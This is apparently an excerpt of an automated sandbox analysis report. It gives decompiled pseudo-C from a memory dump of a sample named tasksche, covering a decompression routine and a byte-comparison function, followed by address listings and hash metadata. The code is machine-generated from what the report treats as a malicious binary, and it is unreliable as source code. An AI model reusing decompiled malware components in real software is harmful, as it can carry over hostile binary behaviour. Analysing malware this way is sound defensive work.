											_t771 =  *(_t608 + 0xfa0);
											_t537 = _t536 & 0x0000fffe;
											__eflags = _t537 -  *((intOrPtr*)(_t608 + 0xf20 + _t771 * 4));
											if(_t537 >=  *((intOrPtr*)(_t608 + 0xf20 + _t771 * 4))) {
												_t772 = _t771 + 1;
												_a4 = 0xf;
												__eflags = _t772 - 0xf;
												if(_t772 >= 0xf) {
													L46:
													_t666 =  *(_t808 + 4) + _a4;
													 *_t808 =  *_t808 + (_t666 >> 3);
													_t775 = _a4;
													 *(_t808 + 4) = _t666 & 0x00000007;
													_t668 = 0x10;
													_t540 = (_t537 -  *((intOrPtr*)(_t608 + 0xf1c + _a4 * 4)) >> _t668 - _a4) +  *((intOrPtr*)(_t608 + 0xf60 + _t775 * 4));
													__eflags = _t540 -  *((intOrPtr*)(_t608 + 0xf1c));
													if(_t540 >=  *((intOrPtr*)(_t608 + 0xf1c))) {
														_t540 = 0;
														__eflags = 0;
													}
													_t541 =  *(_t608 + 0x1ba4 + _t540 * 2) & 0x0000ffff;
													goto L49;
												}
												_t704 = _t608 + 0xf20 + _t772 * 4;
												while(1) {
													__eflags = _t537 -  *_t704;
													if(_t537 <  *_t704) {
														break;
													}
													_t772 = _t772 + 1;
													_t704 = _t704 + 4;
													__eflags = _t772 - 0xf;
													if(_t772 < 0xf) {
														continue;
													}
													goto L46;
												}
												_a4 = _t772;
												goto L46;
											} else {
												_t705 = 0x10;
												_t593 = _t537 >> _t705 - _t771;
												_t708 = ( *(_t593 + _t608 + 0xfa4) & 0x000000ff) +  *(_t808 + 4);
												 *_t808 =  *_t808 + (_t708 >> 3);
												 *(_t808 + 4) = _t708 & 0x00000007;
												_t541 =  *(_t608 + 0x13a4 + _t593 * 2) & 0x0000ffff;
												L49:
												__eflags = _t541 - 4;
												if(_t541 >= 4) {
													_t672 = (_t541 >> 1) - 1;
													_a4 = _t672;
													_v20 = ((_t541 & 0x00000001 | 0x00000002) << _t672) + 1;
													__eflags = _t672;
													if(_t672 <= 0) {
														L68:
														_t776 = _v20;
														__eflags = _t776 - 0x100;
														if(_t776 > 0x100) {
															_v16 = _v12 + 1;
															__eflags = _t776 - 0x2000;
															if(_t776 > 0x2000) {
																_v16 = _v16 + 1;
																__eflags = _t776 - 0x40000;
																if(_t776 > 0x40000) {
																	_t166 =  &_v16;
																	 *_t166 = _v16 + 1;
																	__eflags =  *_t166;
																}
															}
														}
														 *((intOrPtr*)(_t806 + 0x60)) =  *((intOrPtr*)(_t806 + 0x5c));
														 *((intOrPtr*)(_t806 + 0x5c)) =  *((intOrPtr*)(_t806 + 0x58));
														 *((intOrPtr*)(_t806 + 0x58)) =  *((intOrPtr*)(_t806 + 0x54));
														_t549 = _v16;
														 *(_t806 + 0x68) = _t549;
														_a4 = _t549;
														_t550 =  *(_t806 + 0x70);
														_t674 = _t550 - _t776;
														 *((intOrPtr*)(_t806 + 0x54)) = _t776;
														_t778 =  *((intOrPtr*)(_t806 + 0xe6d8)) + 0xffffefff;
														_v24 = _t674;
														__eflags = _t674 - _t778;
														if(_t674 >= _t778) {
															goto L91;
														} else {
															__eflags = _t550 - _t778;
															if(_t550 >= _t778) {
																goto L91;
															}
															_t781 =  *((intOrPtr*)(_t806 + 0x4b34));
															_v8 = _t674 + _t781;
															_t679 = _v16;
															_t782 = _t781 + _t550;
															_v12 = _t782;
															 *(_t806 + 0x70) = _t550 + _t679;
															__eflags = _v20 - _t679;
															if(_v20 >= _t679) {
																__eflags = _t679 - 8;
																if(_t679 < 8) {
																	goto L82;
																}
																_t569 = _v16 >> 3;
																__eflags = _t569;
																_v24 = _t569;
																do {
																	E0041C290(_t608, _t806, _t808, _v12, _v8, 8);
																	_v8 = _v8 + 8;
																	_v12 = _v12 + 8;
																	_a4 = _a4 - 8;
																	_t810 = _t810 + 0xc;
																	_t219 =  &_v24;
																	 *_t219 = _v24 - 1;
																	__eflags =  *_t219;
																} while ( *_t219 != 0);
																goto L82;
															}
															__eflags = _t679 - 8;
															if(_t679 < 8) {
																goto L82;
															}
															_t572 = _t679 >> 3;
															__eflags = _t572;
															_v24 = _t572;
															_t573 = _v8;
															_t680 = _t782;
															do {
																_a4 = _a4 - 8;
																 *_t680 =  *_t573;
																_t191 = _t573 + 1; // 0x300905a
																 *((char*)(_t680 + 1)) =  *_t191;
																_t193 = _t573 + 2; // 0x30090
																 *((char*)(_t680 + 2)) =  *_t193;
																_t195 = _t573 + 3; // 0x300
																 *((char*)(_t680 + 3)) =  *_t195;
																_t197 = _t573 + 4; // 0x3
																 *((char*)(_t680 + 4)) =  *_t197;
																_t199 = _t573 + 5; // 0x4000000
																 *((char*)(_t680 + 5)) =  *_t199;
																_t201 = _t573 + 6; // 0x40000
																 *((char*)(_t680 + 6)) =  *_t201;
																_t203 = _t573 + 7; // 0x400
																 *((char*)(_t680 + 7)) =  *_t203;
																_t573 = _t573 + 8;
																_t680 = _t680 + 8;
																_t205 =  &_v24;
																 *_t205 = _v24 - 1;
																__eflags =  *_t205;
															} while ( *_t205 != 0);
															_v12 = _t680;
															_v8 = _t573;
															goto L82;
														}
													}
													__eflags = _t672 - 4;
													if(__eflags < 0) {
														_t576 = E00412AEB(_t808);
														_t682 = 0x20;
														_v20 = _v20 + (_t576 >> _t682 - _a4);
														_t579 =  *(_t808 + 4) + _a4;
														 *_t808 =  *_t808 + (_t579 >> 3);
														_t580 = _t579 & 0x00000007;
														__eflags = _t580;
														 *(_t808 + 4) = _t580;
														goto L68;
													}
													if(__eflags > 0) {
														_t588 = E00412AEB(_t808);
														_t589 = _a4;
														_t699 = 0x24;
														_t590 = _t589 +  *(_t808 + 4) - 4;
														_v20 = _v20 + (_t588 >> _t699 - _t589 << 4);
														 *_t808 =  *_t808 + (_t590 >> 3);
														_t591 = _t590 & 0x00000007;
														__eflags = _t591;
														 *(_t808 + 4) = _t591;
													}
													_t581 = E0040978C(_t808);
													_t791 =  *(_t608 + 0x1e8c);
													_t582 = _t581 & 0x0000fffe;
													__eflags = _t582 -  *((intOrPtr*)(_t608 + 0x1e0c + _t791 * 4));
													if(_t582 >=  *((intOrPtr*)(_t608 + 0x1e0c + _t791 * 4))) {
														_t792 = _t791 + 1;
														_a4 = 0xf;
														__eflags = _t792 - 0xf;
														if(_t792 >= 0xf) {
															L63:
															_t688 =  *(_t808 + 4) + _a4;
															 *_t808 =  *_t808 + (_t688 >> 3);
															_t795 = _a4;
															 *(_t808 + 4) = _t688 & 0x00000007;
															_t690 = 0x10;
															_t585 = (_t582 -  *((intOrPtr*)(_t608 + 0x1e08 + _a4 * 4)) >> _t690 - _a4) +  *((intOrPtr*)(_t608 + 0x1e4c + _t795 * 4));
															__eflags = _t585 -  *((intOrPtr*)(_t608 + 0x1e08));
															if(_t585 >=  *((intOrPtr*)(_t608 + 0x1e08))) {
																_t585 = 0;
																__eflags = 0;
															}
															_t586 =  *(_t608 + 0x2a90 + _t585 * 2) & 0x0000ffff;
															goto L66;
														}
														_t692 = _t608 + 0x1e0c + _t792 * 4;
														while(1) {
															__eflags = _t582 -  *_t692;
															if(_t582 <  *_t692) {
																break;
															}
															_t792 = _t792 + 1;
															_t692 = _t692 + 4;
															__eflags = _t792 - 0xf;
															if(_t792 < 0xf) {
																continue;
															}
															goto L63;
														}
														_a4 = _t792;
														goto L63;
													} else {
														_t693 = 0x10;
														_t587 = _t582 >> _t693 - _t791;
														_t696 = ( *(_t587 + _t608 + 0x1e90) & 0x000000ff) +  *(_t808 + 4);
														 *_t808 =  *_t808 + (_t696 >> 3);
														 *(_t808 + 4) = _t696 & 0x00000007;
														_t586 =  *(_t608 + 0x2290 + _t587 * 2) & 0x0000ffff;
														L66:
														_v20 = _v20 + _t586;
														goto L68;
													}
												}
												_v20 = _t541 + 1;
												goto L68;
											}
										}
										 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) = _t468;
										 *(_t806 + 0x70) =  *(_t806 + 0x70) + 1;
										continue;
									}
									_t716 = _t608 + 0x34 + _t727 * 4;
									while(1) {
										__eflags = _t464 -  *_t716;
										if(_t464 <  *_t716) {
											break;
										}
										_t727 = _t727 + 1;
										_t716 = _t716 + 4;
										__eflags = _t727 - 0xf;
										if(_t727 < 0xf) {
											continue;
										}
										goto L28;
									}
									_a4 = _t727;
									goto L28;
								}
								_t717 = 0x10;
								_t600 = _t464 >> _t717 - _t726;
								_t720 = ( *(_t600 + _t608 + 0xb8) & 0x000000ff) +  *(_t808 + 4);
								 *_t808 =  *_t808 + (_t720 >> 3);
								 *(_t808 + 4) = _t720 & 0x00000007;
								_t468 =  *(_t608 + 0x4b8 + _t600 * 2) & 0x0000ffff;
								goto L31;
							}
							__eflags =  *((intOrPtr*)(_t806 + 0x4b30)) - _t462;
							if( *((intOrPtr*)(_t806 + 0x4b30)) == _t462) {
								goto L20;
							}
							E00415346(_t806);
							__eflags =  *((intOrPtr*)(_t806 + 0x4c54)) -  *((intOrPtr*)(_t806 + 0x4c44));
							if(__eflags > 0) {
								goto L5;
							}
							if(__eflags < 0) {
								goto L20;
							}
							__eflags =  *((intOrPtr*)(_t806 + 0x4c50)) -  *((intOrPtr*)(_t806 + 0x4c40));
							if( *((intOrPtr*)(_t806 + 0x4c50)) >  *((intOrPtr*)(_t806 + 0x4c40))) {
								goto L5;
							}
							goto L20;
						}
					} else {
						 *((char*)(_t608 + 0x4ad0)) = 1;
						L5:
						_t526 = 0;
						L99:
						return _t526;
					}
				} else {
					 *((char*)(_t608 + 0x2c)) = 1;
					_t607 = E0041462B(_t608, __ecx, _t608 + 4, _t608 + 0x18, _t608 + 0x30);
					if(_t607 != 0) {
						goto L3;
					} else {
						 *((char*)(_t608 + 0x4ad0)) = 1;
						return _t607;
					}
				}
			}

0x00415da1
0x00415da9
0x00415dab
0x00415dd2
0x00415dd2
0x00415dd9
0x00415dde
0x00415de0
0x00415df3
0x00415dfd
0x00415e00
0x00415e02
0x00415e05
0x00415e08
0x00415e0b
0x00415e0d
0x00415e0d
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00415e20
0x00415e20
0x00415e23
0x0041639a
0x0041639a
0x00000000
0x0041639a
0x00415e29
0x00415e37
0x00415e37
0x00415e3a
0x00415e49
0x00415e49
0x00415e4f
0x00416784
0x00416784
0x00000000
0x00416784
0x00000000
0x00415e4f
0x00415e3c
0x00415e43
0x00000000
0x00000000
0x00000000
0x00415e43
0x00415e2e
0x00415e31
0x00000000
0x00000000
0x00000000
0x00415e55
0x00415e5b
0x00415e62
0x00415e68
0x00415e9f
0x00415ea1
0x00415ea6
0x00415eac
0x00415eb1
0x00415eb5
0x00415ee0
0x00415ee1
0x00415ee8
0x00415eeb
0x00415f03
0x00415f06
0x00415f10
0x00415f12
0x00415f18
0x00415f1f
0x00415f24
0x00415f28
0x00415f2b
0x00415f2d
0x00415f2d
0x00415f2d
0x00415f2f
0x00415f37
0x00415f3c
0x00415f3e
0x00415f54
0x00415f59
0x00416373
0x00416375
0x004163a3
0x004163a8
0x0041654d
0x0041654d
0x00416552
0x00416558
0x0041655b
0x0041656a
0x0041656f
0x00416572
0x00416577
0x0041657d
0x00416582
0x00416589
0x004165b4
0x004165b5
0x004165bc
0x004165bf
0x004165da
0x004165dd
0x004165e7
0x004165e9
0x004165ef
0x004165f9
0x004165fe
0x00416605
0x0041660b
0x0041660d
0x0041660d
0x0041660d
0x0041660f
0x00416617
0x00416617
0x0041661a
0x0041662c
0x00416632
0x00416636
0x00416637
0x0041663a
0x0041663c
0x00416640
0x00416647
0x0041664d
0x00416653
0x0041665b
0x0041665d
0x0041665d
0x00416660
0x00416663
0x00416663
0x0041661c
0x0041661c
0x0041661f
0x0041661f
0x00416669
0x00416672
0x00416678
0x0041667b
0x0041667e
0x00416681
0x00416683
0x00416742
0x00416742
0x00416689
0x00416689
0x0041668c
0x00000000
0x00000000
0x00416692
0x0041669a
0x0041669d
0x004166a2
0x004166a8
0x004166ab
0x004166ae
0x0041670a
0x0041670d
0x00416483
0x00416483
0x00416487
0x00000000
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x004162a3
0x004162a3
0x004162a3
0x00000000
0x00415e10
0x00000000
0x004162ad
0x004162ad
0x004162b6
0x004162b9
0x004162b9
0x00000000
0x00415e10
0x00000000
0x004162c1
0x004162c1
0x004162c8
0x004162cb
0x004162cb
0x00000000
0x004164a1
0x004164a1
0x004164ab
0x004164ab
0x00000000
0x004162d4
0x004162d4
0x004162db
0x004162de
0x004162de
0x00000000
0x004164b4
0x004164b4
0x004164be
0x004164be
0x00000000
0x004162e7
0x004162e7
0x004162ee
0x004162f1
0x004162f1
0x00000000
0x004164c7
0x004164c7
0x004164d1
0x004164d1
0x00000000
0x004162fa
0x004162fa
0x00416301
0x00416304
0x00416304
0x00000000
0x004164da
0x004164da
0x004164e4
0x004164e4
0x00000000
0x0041630d
0x0041630d
0x00416314
0x00416317
0x00416317
0x00416320
0x00416323
0x00416323
0x00416326
0x00416329
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x0041632e
0x0041632e
0x0041632e
0x00416338
0x0041633e
0x00416344
0x0041634f
0x00416358
0x0041635e
0x00416362
0x00416366
0x00416369
0x00416369
0x0041636e
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x00000000
0x00415e10
0x0041674a
0x00416750
0x00416759
0x00416764
0x00416767
0x0041676d
0x00416776
0x0041677a
0x0041677a
0x0041677f
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x00000000
0x00415e10
0x004163b9
0x004163bf
0x004163c4
0x004163cc
0x004163d2
0x004163d5
0x004163d7
0x00000000
0x00000000
0x004163dd
0x004163df
0x00000000
0x00000000
0x004163e5
0x004163ed
0x004163f0
0x004163f3
0x004163f7
0x004163fa
0x004163fd
0x00416400
0x00416457
0x0041645a
0x00000000
0x00000000
0x0041645c
0x0041645c
0x0041645f
0x00416462
0x0041646a
0x0041646f
0x00416473
0x00416477
0x0041647b
0x0041647e
0x0041647e
0x0041647e
0x0041647e
0x00000000
0x00416462
0x00416402
0x00416405
0x00000000
0x00000000
0x00416407
0x00416407
0x0041640a
0x0041640d
0x00416410
0x00416412
0x00416414
0x00416418
0x0041641d
0x00416423
0x00416429
0x0041642f
0x00416435
0x0041643b
0x00416441
0x00416444
0x00416447
0x0041644a
0x0041644a
0x0041644a
0x0041644a
0x0041644f
0x0041644f
0x00416452
0x00000000
0x00416387
0x0041638d
0x00416392
0x00416392
0x00000000
0x00416508
0x00416508
0x00416508
0x00416512
0x00416518
0x0041651e
0x00416529
0x00416532
0x00416538
0x0041653c
0x00416540
0x00416543
0x00416543
0x00000000
0x004164ed
0x004164ed
0x004164f7
0x004164f7
0x00416500
0x00000000
0x00416500
0x0041648d
0x0041648d
0x00416496
0x00416499
0x00416499
0x00416716
0x00416716
0x00416719
0x0041671c
0x00416724
0x00416729
0x0041672d
0x00416731
0x00416735
0x00416738
0x00416738
0x00416738
0x00416738
0x00000000
0x0041673d
0x004166b0
0x004166b3
0x00000000
0x00000000
0x004166bc
0x004166bf
0x004166bf
0x004166c2
0x004166c5
0x004166c8
0x004166ca
0x004166ce
0x004166d3
0x004166d9
0x004166df
0x004166e5
0x004166eb
0x004166f1
0x004166f7
0x004166fa
0x004166fd
0x00416700
0x00416700
0x00416700
0x00416700
0x00000000
0x00416705
0x00416683
0x004165c1
0x004165c8
0x004165c8
0x004165ca
0x00000000
0x00000000
0x004165cc
0x004165cd
0x004165d0
0x004165d3
0x00000000
0x00000000
0x00000000
0x004165d5
0x004165d7
0x00000000
0x004165d7
0x0041658d
0x00416590
0x0041659a
0x004165a2
0x004165a7
0x004165aa
0x00000000
0x00000000
0x00000000
0x00000000
0x0041655d
0x0041655d
0x00416560
0x00416562
0x00416563
0x00416566
0x00416566
0x00000000
0x0041655d
0x004163ae
0x004163ae
0x004163b1
0x004163b1
0x0041637a
0x0041637e
0x00416383
0x00416385
0x00000000
0x00000000
0x00000000
0x00416385
0x00415f5f
0x00415f64
0x00415f67
0x00415f79
0x00415f7f
0x00415f84
0x00415f87
0x00415f89
0x00415f8d
0x00415f94
0x00415f9a
0x00415fa0
0x00415fa8
0x00415faa
0x00415faa
0x00415fad
0x00415fad
0x00415f69
0x00415f6c
0x00415f6c
0x00415fb5
0x00415fb8
0x00415fbd
0x00415fc3
0x00415fc8
0x00415fcf
0x00415ffa
0x00415ffb
0x00416002
0x00416005
0x00416020
0x00416023
0x0041602d
0x0041602f
0x00416035
0x0041603f
0x00416044
0x0041604b
0x00416051
0x00416053
0x00416053
0x00416053
0x00416055
0x00000000
0x00416055
0x00416007
0x0041600e
0x0041600e
0x00416010
0x00000000
0x00000000
0x00416012
0x00416013
0x00416016
0x00416019
0x00000000
0x00000000
0x00000000
0x0041601b
0x0041601d
0x00000000
0x00415fd1
0x00415fd3
0x00415fd6
0x00415fe0
0x00415fe8
0x00415fed
0x00415ff0
0x0041605d
0x0041605d
0x00416060
0x00416072
0x00416078
0x0041607c
0x0041607f
0x00416081
0x00416190
0x00416190
0x00416193
0x00416199
0x0041619f
0x004161a2
0x004161a8
0x004161aa
0x004161ad
0x004161b3
0x004161b5
0x004161b5
0x004161b5
0x004161b5
0x004161b3
0x004161a8
0x004161bb
0x004161c1
0x004161c7
0x004161ca
0x004161cd
0x004161d0
0x004161d3
0x004161d8
0x004161da
0x004161e3
0x004161e9
0x004161ec
0x004161ee
0x00000000
0x004161f4
0x004161f4
0x004161f6
0x00000000
0x00000000
0x004161fc
0x00416204
0x00416207
0x0041620a
0x0041620e
0x00416211
0x00416214
0x00416217
0x00416274
0x00416277
0x00000000
0x00000000
0x0041627c
0x0041627c
0x0041627f
0x00416282
0x0041628a
0x0041628f
0x00416293
0x00416297
0x0041629b
0x0041629e
0x0041629e
0x0041629e
0x0041629e
0x00000000
0x00416282
0x00416219
0x0041621c
0x00000000
0x00000000
0x00416224
0x00416224
0x00416227
0x0041622a
0x0041622d
0x0041622f
0x00416231
0x00416235
0x00416237
0x0041623a
0x0041623d
0x00416240
0x00416243
0x00416246
0x00416249
0x0041624c
0x0041624f
0x00416252
0x00416255
0x00416258
0x0041625b
0x0041625e
0x00416261
0x00416264
0x00416267
0x00416267
0x00416267
0x00416267
0x0041626c
0x0041626f
0x00000000
0x0041626f
0x004161ee
0x00416087
0x0041608a
0x0041616d
0x00416174
0x0041617a
0x00416180
0x00416188
0x0041618a
0x0041618a
0x0041618d
0x00000000
0x0041618d
0x00416090
0x00416094
0x0041609b
0x004160a0
0x004160a8
0x004160b1
0x004160b7
0x004160b9
0x004160b9
0x004160bc
0x004160bc
0x004160c1
0x004160c6
0x004160cc
0x004160d1
0x004160d8
0x00416103
0x00416104
0x0041610b
0x0041610e
0x00416129
0x0041612c
0x00416136
0x00416138
0x0041613e
0x00416148
0x0041614d
0x00416154
0x0041615a
0x0041615c
0x0041615c
0x0041615c
0x0041615e
0x00000000
0x0041615e
0x00416110
0x00416117
0x00416117
0x00416119
0x00000000
0x00000000
0x0041611b
0x0041611c
0x0041611f
0x00416122
0x00000000
0x00000000
0x00000000
0x00416124
0x00416126
0x00000000
0x004160da
0x004160dc
0x004160df
0x004160e9
0x004160f1
0x004160f6
0x004160f9
0x00416166
0x00416166
0x00000000
0x00416166
0x004160d8
0x00416063
0x00000000
0x00416063
0x00415fcf
0x00415f49
0x00415f4c
0x00000000
0x00415f4c
0x00415eed
0x00415ef1
0x00415ef1
0x00415ef3
0x00000000
0x00000000
0x00415ef5
0x00415ef6
0x00415ef9
0x00415efc
0x00000000
0x00000000
0x00000000
0x00415efe
0x00415f00
0x00000000
0x00415f00
0x00415eb9
0x00415ebc
0x00415ec6
0x00415ece
0x00415ed3
0x00415ed6
0x00000000
0x00415ed6
0x00415e6a
0x00415e70
0x00000000
0x00000000
0x00415e74
0x00415e7f
0x00415e85
0x00000000
0x00000000
0x00415e8b
0x00000000
0x00000000
0x00415e93
0x00415e99
0x00000000
0x00000000
0x00000000
0x00415e99
0x00415de2
0x00415de2
0x00415de9
0x00415de9
0x0041639c
0x00000000
0x0041639c
0x00415dad
0x00415db9
0x00415dbd
0x00415dc4
0x00000000
0x00415dc6
0x00415dc6
0x00000000
0x00415dc6
0x00415dc4

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55f74d88c168b2656ab75066bc4e011c1757566443c1fcad1fbcf06b528a1986
Instruction ID: 136bcfac07b0c46142f126060f48d767d5d9002a5a6c7f55271a6c6e067ee92a
Opcode Fuzzy Hash: 55f74d88c168b2656ab75066bc4e011c1757566443c1fcad1fbcf06b528a1986
Instruction Fuzzy Hash: 8C72B070A04645DFCB19CF68C5806EDBBB1FF45308F2981AED8598B742C339E991CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041BCD9 Relevance: .4, Instructions: 384
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041BCD9(void* __eax, void* __ecx) {
				void* _t196;
				signed int _t197;
				void* _t200;
				signed char _t206;
				signed char _t207;
				signed char _t208;
				signed char _t210;
				signed char _t211;
				signed int _t216;
				signed int _t316;
				void* _t319;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t327;
				void* _t330;
				void* _t332;
				void* _t334;
				void* _t337;
				void* _t339;
				void* _t341;
				void* _t344;
				void* _t346;
				void* _t348;
				void* _t351;
				void* _t353;
				void* _t355;
				void* _t358;
				void* _t360;
				void* _t362;

				_t200 = __ecx;
				_t196 = __eax;
				if( *((intOrPtr*)(__eax - 0x1f)) ==  *((intOrPtr*)(__ecx - 0x1f))) {
					_t316 = 0;
					L17:
					if(_t316 != 0) {
						goto L1;
					}
					_t206 =  *(_t196 - 0x1b);
					if(_t206 ==  *(_t200 - 0x1b)) {
						_t316 = 0;
						L28:
						if(_t316 != 0) {
							goto L1;
						}
						_t207 =  *(_t196 - 0x17);
						if(_t207 ==  *(_t200 - 0x17)) {
							_t316 = 0;
							L39:
							if(_t316 != 0) {
								goto L1;
							}
							_t208 =  *(_t196 - 0x13);
							if(_t208 ==  *(_t200 - 0x13)) {
								_t316 = 0;
								L50:
								if(_t316 != 0) {
									goto L1;
								}
								if( *(_t196 - 0xf) ==  *(_t200 - 0xf)) {
									_t316 = 0;
									L61:
									if(_t316 != 0) {
										goto L1;
									}
									_t210 =  *(_t196 - 0xb);
									if(_t210 ==  *(_t200 - 0xb)) {
										_t316 = 0;
										L72:
										if(_t316 != 0) {
											goto L1;
										}
										_t211 =  *(_t196 - 7);
										if(_t211 ==  *(_t200 - 7)) {
											_t316 = 0;
											L83:
											if(_t316 != 0) {
												goto L1;
											}
											_t319 = ( *(_t196 - 3) & 0x000000ff) - ( *(_t200 - 3) & 0x000000ff);
											if(_t319 == 0) {
												L5:
												_t321 = ( *(_t196 - 2) & 0x000000ff) - ( *(_t200 - 2) & 0x000000ff);
												if(_t321 == 0) {
													L3:
													_t197 = ( *(_t196 - 1) & 0x000000ff) - ( *(_t200 - 1) & 0x000000ff);
													if(_t197 != 0) {
														_t197 = (0 | _t197 > 0x00000000) + (0 | _t197 > 0x00000000) - 1;
													}
													L2:
													return _t197;
												}
												_t216 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
												if(_t216 != 0) {
													L86:
													_t197 = _t216;
													goto L2;
												} else {
													goto L3;
												}
											}
											_t216 = (0 | _t319 > 0x00000000) + (0 | _t319 > 0x00000000) - 1;
											if(_t216 == 0) {
												goto L5;
											}
											goto L86;
										}
										_t323 = (_t211 & 0x000000ff) - ( *(_t200 - 7) & 0x000000ff);
										if(_t323 == 0) {
											L76:
											_t325 = ( *(_t196 - 6) & 0x000000ff) - ( *(_t200 - 6) & 0x000000ff);
											if(_t325 == 0) {
												L78:
												_t327 = ( *(_t196 - 5) & 0x000000ff) - ( *(_t200 - 5) & 0x000000ff);
												if(_t327 == 0) {
													L80:
													_t316 = ( *(_t196 - 4) & 0x000000ff) - ( *(_t200 - 4) & 0x000000ff);
													if(_t316 != 0) {
														_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
													}
													goto L83;
												}
												_t316 = (0 | _t327 > 0x00000000) + (0 | _t327 > 0x00000000) - 1;
												if(_t316 != 0) {
													goto L1;
												}
												goto L80;
											}
											_t316 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
											if(_t316 != 0) {
												goto L1;
											}
											goto L78;
										}
										_t316 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L76;
									}
									_t330 = (_t210 & 0x000000ff) - ( *(_t200 - 0xb) & 0x000000ff);
									if(_t330 == 0) {
										L65:
										_t332 = ( *(_t196 - 0xa) & 0x000000ff) - ( *(_t200 - 0xa) & 0x000000ff);
										if(_t332 == 0) {
											L67:
											_t334 = ( *(_t196 - 9) & 0x000000ff) - ( *(_t200 - 9) & 0x000000ff);
											if(_t334 == 0) {
												L69:
												_t316 = ( *(_t196 - 8) & 0x000000ff) - ( *(_t200 - 8) & 0x000000ff);
												if(_t316 != 0) {
													_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
												}
												goto L72;
											}
											_t316 = (0 | _t334 > 0x00000000) + (0 | _t334 > 0x00000000) - 1;
											if(_t316 != 0) {
												goto L1;
											}
											goto L69;
										}
										_t316 = (0 | _t332 > 0x00000000) + (0 | _t332 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L67;
									}
									_t316 = (0 | _t330 > 0x00000000) + (0 | _t330 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L65;
								}
								_t337 = ( *(_t196 - 0xf) & 0x000000ff) - ( *(_t200 - 0xf) & 0x000000ff);
								if(_t337 == 0) {
									L54:
									_t339 = ( *(_t196 - 0xe) & 0x000000ff) - ( *(_t200 - 0xe) & 0x000000ff);
									if(_t339 == 0) {
										L56:
										_t341 = ( *(_t196 - 0xd) & 0x000000ff) - ( *(_t200 - 0xd) & 0x000000ff);
										if(_t341 == 0) {
											L58:
											_t316 = ( *(_t196 - 0xc) & 0x000000ff) - ( *(_t200 - 0xc) & 0x000000ff);
											if(_t316 != 0) {
												_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
											}
											goto L61;
										}
										_t316 = (0 | _t341 > 0x00000000) + (0 | _t341 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L58;
									}
									_t316 = (0 | _t339 > 0x00000000) + (0 | _t339 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L56;
								}
								_t316 = (0 | _t337 > 0x00000000) + (0 | _t337 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L54;
							}
							_t344 = (_t208 & 0x000000ff) - ( *(_t200 - 0x13) & 0x000000ff);
							if(_t344 == 0) {
								L43:
								_t346 = ( *(_t196 - 0x12) & 0x000000ff) - ( *(_t200 - 0x12) & 0x000000ff);
								if(_t346 == 0) {
									L45:
									_t348 = ( *(_t196 - 0x11) & 0x000000ff) - ( *(_t200 - 0x11) & 0x000000ff);
									if(_t348 == 0) {
										L47:
										_t316 = ( *(_t196 - 0x10) & 0x000000ff) - ( *(_t200 - 0x10) & 0x000000ff);
										if(_t316 != 0) {
											_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
										}
										goto L50;
									}
									_t316 = (0 | _t348 > 0x00000000) + (0 | _t348 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L47;
								}
								_t316 = (0 | _t346 > 0x00000000) + (0 | _t346 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L45;
							}
							_t316 = (0 | _t344 > 0x00000000) + (0 | _t344 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L43;
						}
						_t351 = (_t207 & 0x000000ff) - ( *(_t200 - 0x17) & 0x000000ff);
						if(_t351 == 0) {
							L32:
							_t353 = ( *(_t196 - 0x16) & 0x000000ff) - ( *(_t200 - 0x16) & 0x000000ff);
							if(_t353 == 0) {
								L34:
								_t355 = ( *(_t196 - 0x15) & 0x000000ff) - ( *(_t200 - 0x15) & 0x000000ff);
								if(_t355 == 0) {
									L36:
									_t316 = ( *(_t196 - 0x14) & 0x000000ff) - ( *(_t200 - 0x14) & 0x000000ff);
									if(_t316 != 0) {
										_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
									}
									goto L39;
								}
								_t316 = (0 | _t355 > 0x00000000) + (0 | _t355 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L36;
							}
